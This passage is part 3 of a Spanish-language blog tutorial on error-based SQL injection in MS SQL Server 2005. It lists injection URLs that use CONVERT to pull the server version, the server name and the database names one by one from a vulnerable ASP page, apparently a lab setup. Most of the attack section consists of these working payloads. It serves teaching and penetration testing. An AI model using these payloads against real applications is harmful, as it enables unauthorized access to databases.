Inyección de código SQL en MS SQL Server 2005 (Parte 3 de 6)

2

Visto 1326 veces | Publicado el 17/01/2010 | sql pentest hacking vulnerabilidades


Después de repasar en qué consiste la vulnerabilidad de Inyección de código SQL y ver lo práctica que resulta la función CONVERT para explotarla en MS SQL Server, llega la tercera parte de esta guía donde ya se va a proceder a ver de qué forma se explota y se consigue obtener todo tipo de información acerca del servidor y de las bases de datos existentes.

 

3.- Explotación de la inyección de código SQL

Para comenzar vamos a obtener la versión del DBMS, obtenido anteriormente mediante la siguiente petición:

http://server/insertar.asp?texto=admin'+and+1=convert(int,@@version)--

Ahora vamos a obtener el nombre del servidor consultando la variable @@servername mediante la siguiente petición:

http://server/insertar.asp?texto=admin'+and+1=convert(int,@@servername)--

Y vemos que el nombre del servidor, en este caso es SERVER:

Lo siguiente será obtener el nombre de las diferentes bases de datos existentes dentro del DBMS, para lo que vamos a utilizar la función db_name(). Esta función puede utilizarse sin parámetros, lo que nos devolverá el nombre de la base de datos a la que está conectada la aplicación, o bien, podemos introducir un valor numérico que varía entre 0 (similar a no introducir parámetros) y n, siendo n el número de bases de datos del DBMS. Para nuestro ejemplo, vamos a obtener las diferentes bases de datos del sistema con las siguientes peticiones:

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name())--

Las siguientes bases de datos son las creadas en la instalación por defecto de MS SQLSERVER2005, aunque no tienen por qué estar siempre en este orden:

Base de datos master

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(1))--

Base de datos tempdb

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(2))--

Base de datos model

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(3))--

Base de datos msdb

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(4))--

Base de datos ReportServer

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(5))--

Base de datos ReportServerTempDB

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(6))--

Base de datos AdventureWorksDW

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(7))--

Base de datos AdventureWorks

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(8))--

A partir del número nueve comienzan las bases de datos creadas por el administrador y coincide que la número nueve es a la que originalmente se conecta la aplicación. Base de datos BASE_EJEMPLO

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(9))--

Otra base de datos es AMOLOSSS

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(12))--

Así sucesivamente hasta comprobar que el DBMS contiene trece bases de datos ya que al consultar la número catorce el sistema nos devuelve un error (error '80020009') indicando que la consulta no obtiene resultado.

http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(14))--

Como podemos intuir, este proceso es fácilmente automatizable, ya que sólo hay que cambiar el parámetro de la función db_name().

 

Y hasta aquí esta tercera parte de esta serie de seis artículos sobre cómo explotar y obtener todo tipo de infromación de una aplicación web vulnerable a Inyección de código SQL. En la siguiente serie, veremos có obtener los diferentes usuarios de la base de datos, el usuario que está ejecutando la base de datos y los permisos de que dispone, etc.


enero 19 6:55 p.m.
McChain dijo:

Nos alegra que te guste!Muchas gracias por seguirnos y leer nuestros artículos.

enero 19 3:20 p.m.
JIPowered dijo:

Buen artículo, sencillo y fácil Thx


Añadir comentario










captcha


Búsqueda

Síguenos


El staff de Hacktimes ruega a cualquier persona interesada en la distribución y/o publicación de estos artículos que lo haga sin alterar su contenido y cite a su autor y/o la fuente original. Muchas gracias.

Todos los artículos publicados se encuentran bajo la licencia Creative Commons